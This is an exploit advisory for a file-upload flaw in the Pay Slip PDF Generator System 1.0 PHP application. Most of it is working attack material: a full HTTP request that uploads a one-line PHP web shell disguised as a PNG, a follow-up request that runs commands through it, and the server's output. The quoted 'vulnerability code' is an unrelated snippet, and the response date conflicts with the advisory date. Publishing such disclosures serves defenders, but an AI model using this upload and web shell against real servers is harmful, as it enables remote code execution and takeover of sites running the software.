Exploit/Advisories

# Title: Pay Slip PDF Generator System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 26.07.2022
# Vendor: https://www.sourcecodester.com/php/15242/employees-pay-slip-pdf-generator-system-email-using-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pess_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw

#vulnerability Code php
Needs more filtering to upload profile files

php```

reader.readAsDataURL(input.files[0]);
}
}
$('#manage-user').submit(function(e){
e.preventDefault();
```

[+] Payload POST

```
POST /pess/admin/user/manage_user.php HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/pess
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

< ?=`$_GET[515]`?>

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```

#Status: CRITICAL

[+] Payload GET

```
GET /pess/uploads/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1

Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1

```

#Response
```
HTTP/1.1 200 OK
Date: Thu, 26 Mar 2022 11:15:56 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```

# Description:
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.

# Proof and Exploit:
https://i.imgur.com/YFsD2Ub.png

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